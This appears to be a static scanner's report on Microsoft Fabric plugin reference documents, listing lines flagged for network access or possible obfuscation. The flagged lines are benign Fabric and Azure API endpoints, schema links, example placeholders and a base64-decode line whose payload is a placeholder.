> Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity - Network accessline 321
> Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity - Network accessline 321
> Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/DATAFLOWS-AUTHORING-CORE.md
- Network accessline 104
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json", - Network accessline 105
"$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json", - Network accessline 123
All endpoints use `https://api.fabric.microsoft.com/v1` as the base URL. Authenticate with an Entra ID Bearer token. - Network accessline 423
}, { "path": "https://example.com/api/data", - Network accessline 424
{ "path": "https://example.com/api/data", "kind": "Web", - Network accessline 425
"path": "https://example.com/api/data", - Network accessline 446
| `Sql` | `Sql.Database()` | `"server.database.windows.net;mydb"` | | `AzureSqlDatabase` | `AzureSql.Database()` | `"server.database.windows.net;mydb"` | | `Web` | `Web.Contents()` | `"https://example.com/api"` | - Network accessline 447
| `AzureSqlDatabase` | `AzureSql.Database()` | `"server.database.windows.net;mydb"` | | `Web` | `Web.Contents()` | `"https://example.com/api"` | | `SharePoint` | `SharePoint.Contents()` | `"https://tenant.sharepoint.com/sites/mysite"` | - Network accessline 448
| `Web` | `Web.Contents()` | `"https://example.com/api"` | - Network accessline 449
| `SharePoint` | `SharePoint.Contents()` | `"https://tenant.sharepoint.com/sites/mysite"` | - Network accessline 450
| `AzureDataLakeStorage` | `AzureStorage.DataLake()` | `"https://account.dfs.core.windows.net"` | - Network accessline 472
Location: https://api.fabric.microsoft.com/v1/operations/{operationId}
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/DATAFLOWS-CONSUMPTION-CORE.md
- Network accessline 29
All endpoints use the Fabric REST API base URL. Authentication requires a bearer token with audience `https://api.fabric.microsoft.com/.default`. - Network accessline 34
GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows - Network accessline 68
GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows/{dataflowId} - Network accessline 88
GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows/{dataflowId}/parameters - Network accessline 124
POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows/{dataflowId}/getDefinition - Network accessline 164
GET https://api.fabric.microsoft.com/v1/operations/{operationId} - Network accessline 183
GET https://api.fabric.microsoft.com/v1/operations/{operationId}/result - Network accessline 189
GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items/{dataflowId}/jobs/instances - Possible obfuscationline 232
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("<base64-payload>")) - Network accessline 318
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json", - Network accessline 319
"$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json", - Network accessline 379
1. **Trigger**: `POST .../items/{dataflowId}/jobs/instances?jobType=Execute` → returns `202 Accepted` 2. **Location header**: Contains the operation URL (e.g., `https://api.fabric.microsoft.com/v1/operations/{operationId}`) - Network accessline 380
2. **Location header**: Contains the operation URL (e.g., `https://api.fabric.microsoft.com/v1/operations/{operationId}`) - Network accessline 390
GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items/{dataflowId}/jobs/instances - Network accessline 423
GET https://api.fabric.microsoft.com/v1/workspaces - Network accessline 431
GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows - Network accessline 439
GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows/{dataflowId} - Network accessline 447
GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows/{dataflowId}/parameters - Network accessline 455
POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows/{dataflowId}/getDefinition - Network accessline 468
GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items/{dataflowId}/jobs/instances - Network accessline 497
https://api.fabric.microsoft.com/.default - Network accessline 517
| `ItemNotFound` | Dataflow ID doesn't exist or was deleted | Verify the ID with List Dataflows API | | `DataflowNotParametricError` | Dataflow has no parameters defined | Check the definition for parameter queries; this is not a failure | - Network accessline 518
| `DataflowNotParametricError` | Dataflow has no parameters defined | Check the definition for parameter queries; this is not a failure | | `401 Unauthorized` | Token expired or wrong audience | Refresh token; ensure audience is `https://ap - Network accessline 519
| `401 Unauthorized` | Token expired or wrong audience | Refresh token; ensure audience is `https://api.fabric.microsoft.com/.default` |
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/EVENTHOUSE-AUTHORING-CORE.md
- Network accessline 97
// From Blob Storage with CSV mapping .ingest into table Events ( h'https://myaccount.blob.core.windows.net/container/events.csv.gz;impersonate' - Network accessline 98
.ingest into table Events ( h'https://myaccount.blob.core.windows.net/container/events.csv.gz;impersonate' ) with (format="csv", ingestionMappingReference="EventsCsvMapping", ignoreFirstRecord=true) - Network accessline 99
h'https://myaccount.blob.core.windows.net/container/events.csv.gz;impersonate'
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/EVENTHOUSE-CONSUMPTION-CORE.md
- Network accessline 21
# List KQL Databases in a workspace az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases" \ - Network accessline 22
az rest --method GET --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases" - Network accessline 23
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases" \ - Network accessline 24
--resource "https://api.fabric.microsoft.com" - Network accessline 29
> **Token audience**: `https://kusto.kusto.windows.net/.default` for all direct access methods. See [COMMON-CORE.md](./COMMON-CORE.md) for full audience table. - Network accessline 43
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 44
--url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 45
--resource "https://kusto.kusto.windows.net" \ - Network accessline 213
| # | Symptom | Cause | Fix | |---|---|---|---| | 1 | `Request is invalid and cannot be processed` | Token audience mismatch | Use audience `https://kusto.kusto.windows.net/.default` | - Network accessline 214
|---|---|---|---| | 1 | `Request is invalid and cannot be processed` | Token audience mismatch | Use audience `https://kusto.kusto.windows.net/.default` | | 2 | Query timeout | No time filter, scanning too much data | Add `where Timestamp > - Network accessline 215
| 1 | `Request is invalid and cannot be processed` | Token audience mismatch | Use audience `https://kusto.kusto.windows.net/.default` |
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/EVENTSTREAM-AUTHORING-CORE.md
- Network accessline 3
> **Purpose**: Shared reference for Eventstream authoring skills. Covers the Eventstream resource model, source configuration, operator (transformation) types, destination configuration, stream types, item definitions, and lifecycle managem - Network accessline 5
> **Schema source**: Property schemas are aligned with the official [`eventstream-definition.json`](https://github.com/microsoft/fabric-event-streams/blob/main/API%20Templates/eventstream-definition.json) template from `microsoft/fabric-eve - Network accessline 807
The Topology API provides runtime inspection, connection retrieval, and operational control — separate from the Items/Definition API. [Reference](https://learn.microsoft.com/en-us/rest/api/fabric/eventstream/topology).
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/EVENTSTREAM-CONSUMPTION-CORE.md
- Network accessline 3
> **Purpose**: Shared reference for Eventstream consumption skills. Covers listing and discovering Eventstreams, monitoring health, inspecting topology, checking source/destination status, and integration with downstream analytics. > **Lang - Network accessline 5
> **Schema source**: Property schemas are aligned with the official [`eventstream-definition.json`](https://github.com/microsoft/fabric-event-streams/blob/main/API%20Templates/eventstream-definition.json) template from `microsoft/fabric-eve - Network accessline 45
The Topology API returns the runtime topology with per-node **status**, **error info**, and **input schemas** — without requiring base64 decoding. [Reference](https://learn.microsoft.com/en-us/rest/api/fabric/eventstream/topology). - Network accessline 268
| 7 | Eventhouse destination data not appearing | Ingestion mapping mismatch | Check `mappingRuleName` and verify table schema matches | | 8 | Lakehouse destination data delayed | Batching thresholds not met | Check `minimumRows` and `maxim - Network accessline 269
| 8 | Lakehouse destination data delayed | Batching thresholds not met | Check `minimumRows` and `maximumDurationInSeconds` — data is buffered until one threshold is reached | | 9 | `401 Unauthorized` on API call | Token expired or wrong au - Network accessline 270
| 9 | `401 Unauthorized` on API call | Token expired or wrong audience | Re-acquire token with `--resource https://api.fabric.microsoft.com` |
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/ITEM-DEFINITIONS-CORE.md
- Network accessline 37
> Ref: https://learn.microsoft.com/en-us/fabric/cicd/git-integration/source-code-format - Network accessline 37
> Ref: https://learn.microsoft.com/en-us/fabric/cicd/git-integration/source-code-format - Network accessline 73
> Full schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item - Network accessline 73
> Full schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item - Network accessline 77
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/notebook-definition - Network accessline 77
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/notebook-definition - Network accessline 114
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/datapipeline-definition - Network accessline 114
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/datapipeline-definition - Network accessline 157
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/semantic-model-definition - Network accessline 157
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/semantic-model-definition - Network accessline 181
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/report-definition - Network accessline 181
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/report-definition - Network accessline 182
> JSON Schemas: [`report/3.1.0`](https://developer.microsoft.com/json-schemas/fabric/item/report/definition/report/3.1.0/schema.json), [`page/1.0.0`](https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/1.0.0/sche - Network accessline 182
> JSON Schemas: [`report/3.1.0`](https://developer.microsoft.com/json-schemas/fabric/item/report/definition/report/3.1.0/schema.json), [`page/1.0.0`](https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/1.0.0/sche - Network accessline 183
> Schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item/report - Network accessline 183
> Schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item/report - Network accessline 212
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/lakehouse-definition - Network accessline 212
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/lakehouse-definition - Network accessline 255
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/spark-job-definition - Network accessline 255
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/spark-job-definition - Network accessline 293
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/environment-definition - Network accessline 293
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/environment-definition - Network accessline 340
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/variable-library-definition - Network accessline 340
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/variable-library-definition - Network accessline 341
> REST API: https://learn.microsoft.com/en-us/rest/api/fabric/variableharness/github-copilot/items - Network accessline 341
> REST API: https://learn.microsoft.com/en-us/rest/api/fabric/variableharness/github-copilot/items - Network accessline 370
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json", - Network accessline 370
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json", - Network accessline 371
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json", - Network accessline 371
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json", - Network accessline 401
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", - Network accessline 401
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", - Network accessline 402
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", - Network accessline 402
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", - Network accessline 410
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", - Network accessline 410
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", - Network accessline 411
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", - Network accessline 411
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", - Network accessline 421
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json", - Network accessline 421
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json", - Network accessline 422
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json", - Network accessline 422
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json", - Network accessline 446
> Ref: https://learn.microsoft.com/en-us/fabric/data-engineering/notebook-utilities#variable-library-utilities - Network accessline 446
> Ref: https://learn.microsoft.com/en-us/fabric/data-engineering/notebook-utilities#variable-library-utilities - Network accessline 509
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-definition - Network accessline 509
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-definition - Network accessline 522
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-database-definition - Network accessline 522
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-database-definition - Network accessline 555
| Item Type | Main Part Path(s) | Spec | |---|---|---| | KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) | - Network accessline 555
| Item Type | Main Part Path(s) | Spec | |---|---|---| | KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) | - Network accessline 556
|---|---|---| | KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) | | KQLQueryset | `RealTimeQueryset.json` | [Spec](http - Network accessline 556
|---|---|---| | KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) | | KQLQueryset | `RealTimeQueryset.json` | [Spec](http - Network accessline 557
| KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) | - Network accessline 557
| KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) | - Network accessline 558
| KQLQueryset | `RealTimeQueryset.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-queryset-definition) | - Network accessline 558
| KQLQueryset | `RealTimeQueryset.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-queryset-definition) | - Network accessline 559
| CopyJob | `copyjob-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/copyjob-definition) | - Network accessline 559
| CopyJob | `copyjob-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/copyjob-definition) | - Network accessline 560
| Dataflow | `queryMetadata.json`, `mashup.pq` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/dataflow-definition) | - Network accessline 560
| Dataflow | `queryMetadata.json`, `mashup.pq` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/dataflow-definition) | - Network accessline 561
| DataBuildToolJob | `dbtjob-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/dbtjob-definition) | - Network accessline 561
| DataBuildToolJob | `dbtjob-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/dbtjob-definition) | - Network accessline 562
| Eventstream | `eventstream.json`, `eventstreamProperties.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventstream-definition) | - Network accessline 562
| Eventstream | `eventstream.json`, `eventstreamProperties.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventstream-definition) | - Network accessline 563
| EventSchemaSet | `EventSchemaSetDefinition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventschemaset-definition) | - Network accessline 563
| EventSchemaSet | `EventSchemaSetDefinition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventschemaset-definition) | - Network accessline 564
| GraphQLApi | `graphql-definition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/graphql-api-definition) | - Network accessline 564
| GraphQLApi | `graphql-definition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/graphql-api-definition) | - Network accessline 565
| GraphModel | *(multiple JSON parts)* | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/graph-model-definition) | - Network accessline 565
| GraphModel | *(multiple JSON parts)* | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/graph-model-definition) | - Network accessline 566
| HLSCohort | `healthcarecohort.metadata.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/hlscohort-definition) | - Network accessline 566
| HLSCohort | `healthcarecohort.metadata.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/hlscohort-definition) | - Network accessline 567
| MirroredDatabase | `mirroring.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mirrored-database-definition) | - Network accessline 567
| MirroredDatabase | `mirroring.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mirrored-database-definition) | - Network accessline 568
| MirroredAzureDatabricksCatalog | `definition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mirrored-azuredatabricks-unitycatalog-definition) | - Network accessline 568
| MirroredAzureDatabricksCatalog | `definition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mirrored-azuredatabricks-unitycatalog-definition) | - Network accessline 569
| MountedDataFactory | `mountedDataFactory-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mounted-data-factory-definition) | - Network accessline 569
| MountedDataFactory | `mountedDataFactory-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mounted-data-factory-definition) | - Network accessline 570
| Reflex | `ReflexEntities.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/reflex-definition) | - Network accessline 570
| Reflex | `ReflexEntities.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/reflex-definition) | - Network accessline 571
| SnowflakeDatabase | `SnowflakeDatabaseProperties.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/snowflake-database-definition) | - Network accessline 571
| SnowflakeDatabase | `SnowflakeDatabaseProperties.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/snowflake-database-definition) | - Network accessline 573
> Full schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item - Network accessline 573
> Full schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item - Network accessline 574
> Item definition overview: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/item-definition-overview - Network accessline 574
> Item definition overview: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/item-definition-overview
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/SPARK-CONSUMPTION-CORE.md
- Network accessline 49
**Base URL**: `https://onelake.table.fabric.microsoft.com` - Network accessline 51
**Authentication**: **Storage token** with audience `https://storage.azure.com` (NOT Fabric API tokens) - Network accessline 59
GET https://onelake.table.fabric.microsoft.com/delta/{workspaceId}/{lakehouseId}/api/2.1/unity-catalog/schemas?catalog_name={lakehouseName}.Lakehouse - Network accessline 81
GET https://onelake.table.fabric.microsoft.com/delta/{workspaceId}/{lakehouseId}/api/2.1/unity-catalog/tables?catalog_name={lakehouseName}.Lakehouse&schema_name=dbo - Network accessline 91
"schema_name": "dbo", "data_source_format": "DELTA", "storage_location": "https://onelake.dfs.fabric.microsoft.com/{workspaceId}/{lakehouseId}/Tables/dbo/sales_data" - Network accessline 92
"data_source_format": "DELTA", "storage_location": "https://onelake.dfs.fabric.microsoft.com/{workspaceId}/{lakehouseId}/Tables/dbo/sales_data" } - Network accessline 93
"storage_location": "https://onelake.dfs.fabric.microsoft.com/{workspaceId}/{lakehouseId}/Tables/dbo/sales_data" - Network accessline 104
GET https://onelake.table.fabric.microsoft.com/delta/{workspaceId}/{lakehouseId}/api/2.1/unity-catalog/tables/{lakehouseName}.Lakehouse.dbo.{tableName} - Network accessline 113
https://onelake.table.fabric.microsoft.com/delta/{workspaceId}/{lakehouseId}/api/2.1/...
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/SPARK-MONITORING-CORE.md
- Network accessline 16
https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/{itemType}/{itemId}/livySessions/{livyId}/applications/{appId}/... - Network accessline 83
These APIs follow the same contract as [Spark open-source monitoring REST API](https://spark.apache.org/docs/latest/monitoring.html#rest-api). They provide access to jobs, stages, tasks, executors, SQL queries, and event logs.
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/SPARK-NOTEBOOK-AUTHORING-CORE.md
- Network accessline 32
| Local | [context-resolution.md](notebook-authoring/context-resolution.md) | lighter-config.json, ipynb metadata, workspace ID resolution, lakehouse ID lookup, artifact discovery (**VS Code only**) | | Local | [context-and-params.md](noteb - Network accessline 33
| Local | [context-and-params.md](notebook-authoring/context-and-params.md) | runtime.context, notebook parameters, pipeline parameters, Variable Library, getLibrary, %%configure defaultLakehouse, environment config | | Fetch | [notebookuti - Network accessline 34
| Fetch | [notebookutils.runtime](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-runtime) | `notebookutils.runtime.context` properties, currentNotebookName, currentWorkspaceId, defaultLakehouseId, isFo - Network accessline 35
| Fetch | [notebookutils.variableLibrary](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-variable-library) | `getLibrary()`, `get()` by reference path, centralized config, value sets, environment-speci - Network accessline 36
| Fetch | [Author & Execute notebooks](https://learn.microsoft.com/en-us/fabric/data-engineering/author-execute-notebook) | `%%configure` (session config, defaultLakehouse, mountPoints, environment), `%run` (reference run a notebook or scri - Network accessline 44
| Local | [lakehouse-paths.md](notebook-authoring/lakehouse-paths.md) | ABFSS path construction, relative path (`Files/`, `Tables/`), OneLake endpoint, default lakehouse mount `/lakehouse/default/`, workspace/lakehouse GUID in path, path fo - Network accessline 45
| Local | [lakehouse-tables.md](notebook-authoring/lakehouse-tables.md) | Spark SQL table reference, two-part/three-part/four-part dotted name, backtick escaping, SHOW TABLES/SCHEMAS, CREATE/INSERT/MERGE, Delta time travel (`VERSION AS OF`, - Network accessline 46
| Fetch | [Lakehouse overview](https://learn.microsoft.com/en-us/fabric/data-engineering/lakehouse-overview) | lakehouse vs warehouse, SQL analytics endpoint, auto table discovery, Tables vs Files folder, capabilities overview | - Network accessline 47
| Fetch | [Lakehouse schemas](https://learn.microsoft.com/en-us/fabric/data-engineering/lakehouse-schemas) | schema-enabled lakehouse, four-part name (`workspace.lakehouse.schema.table`), cross-workspace Spark SQL, schema shortcuts, namespa - Network accessline 48
| Fetch | [Delta Lake tables](https://learn.microsoft.com/en-us/fabric/data-engineering/lakehouse-and-delta-tables) | Delta format defaults, managed vs unmanaged tables, Spark config for Delta, shortcuts with Delta tables | - Network accessline 49
| Fetch | [Load data with notebook](https://learn.microsoft.com/en-us/fabric/data-engineering/lakehouse-notebook-load-data) | `spark.read` / `spark.write`, Pandas API on Spark, relative vs ABFSS paths, `saveAsTable`, `df.write.format("delta - Network accessline 50
| Fetch | [OneLake shortcuts](https://learn.microsoft.com/en-us/fabric/data-engineering/lakehouse-shortcuts) | internal/external shortcuts, ADLS Gen2, S3, GCS, cross-workspace data access, shortcut limitations for cp/fastcp | - Network accessline 51
| Fetch | [Data ingestion comparison](https://learn.microsoft.com/en-us/fabric/data-engineering/load-data-lakehouse) | decision guide for ingestion method: notebooks, pipelines, dataflows, shortcuts, COPY INTO — read when choosing an approa - Network accessline 57
| Source | Module / Doc | When to Read | |---|---|---| | Fetch | [notebookutils.fs](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-file-system) | `ls`, `cp`, `fastcp`, `mv`, `rm`, `put`, `append`, `hea - Network accessline 58
|---|---|---| | Fetch | [notebookutils.fs](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-file-system) | `ls`, `cp`, `fastcp`, `mv`, `rm`, `put`, `append`, `head`, `mkdirs`, `exists`, `getProperties` — - Network accessline 59
| Fetch | [notebookutils.fs](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-file-system) | `ls`, `cp`, `fastcp`, `mv`, `rm`, `put`, `append`, `head`, `mkdirs`, `exists`, `getProperties` — file/director - Network accessline 60
| Fetch | [notebookutils.fs mount](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-mount) | `mount`, `unmount`, `mounts`, `getMountPath` — attach ADLS Gen2/Blob/Lakehouse as local mount points, accountK - Network accessline 67
|---|---|---| | Local | [connections.md](notebook-authoring/connections.md) | `notebookutils.credentials` for external services — getSecret (Key Vault), getToken (Entra), Azure SDK credential wrapper, connection code for PostgreSQL, MySQL, - Network accessline 69
| Fetch | [notebookutils.credentials](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-credentials) | `getToken` (audience: storage, pbi, keyvault, kusto), `getSecret` (Key Vault endpoint + secret name), - Network accessline 75
| Source | Module / Doc | When to Read | |---|---|---| | Fetch | [notebookutils.lakehouse](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-lakehouse) | `create` (with `enableSchemas`), `get`, `getWithPr - Network accessline 76
|---|---|---| | Fetch | [notebookutils.lakehouse](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-lakehouse) | `create` (with `enableSchemas`), `get`, `getWithProperties`, `update`, `delete`, `list`, `l - Network accessline 77
| Fetch | [notebookutils.lakehouse](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-lakehouse) | `create` (with `enableSchemas`), `get`, `getWithProperties`, `update`, `delete`, `list`, `listTables`, `l - Network accessline 78
| Fetch | [notebookutils.notebook CRUD](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-notebook-management) | `create` (with .ipynb content, defaultLakehouse), `get`, `getDefinition`, `update`, `update - Network accessline 84
| Source | Module / Doc | When to Read | |---|---|---| | Fetch | [notebookutils.notebook run](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-notebook-run) | `run` (reference notebook with timeout, para - Network accessline 85
|---|---|---| | Fetch | [notebookutils.notebook run](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-notebook-run) | `run` (reference notebook with timeout, parameters, cross-workspace), `runMultiple` ( - Network accessline 86
| Fetch | [notebookutils.notebook run](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-notebook-run) | `run` (reference notebook with timeout, parameters, cross-workspace), `runMultiple` (parallel execu - Network accessline 87
| Fetch | [notebookutils.session](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-session-management) | `stop()` (stop interactive session, release resources — **never call in pipeline mode**), `restart - Network accessline 95
| Local | [notebook-resources.md](notebook-authoring/notebook-resources.md) | `builtin/` folder, `env/` folder, `notebookutils.nbResPath`, `file:` prefix, small file embedding, resource folder path resolution, reference run resource access - Network accessline 96
| Local | [library-mgmt.md](notebook-authoring/library-mgmt.md) | `%pip install` vs `!pip`, Environment artifact, custom wheel upload, `restartPython()` after install, built-in library list, runtime version check, Full/Quick publish mode | - Network accessline 97
| Fetch | [Manage Spark libraries](https://learn.microsoft.com/en-us/fabric/data-engineering/library-management) | `%pip`/`%conda` inline install, library precedence, pipeline library install considerations, session-scoped vs environment-sc - Network accessline 98
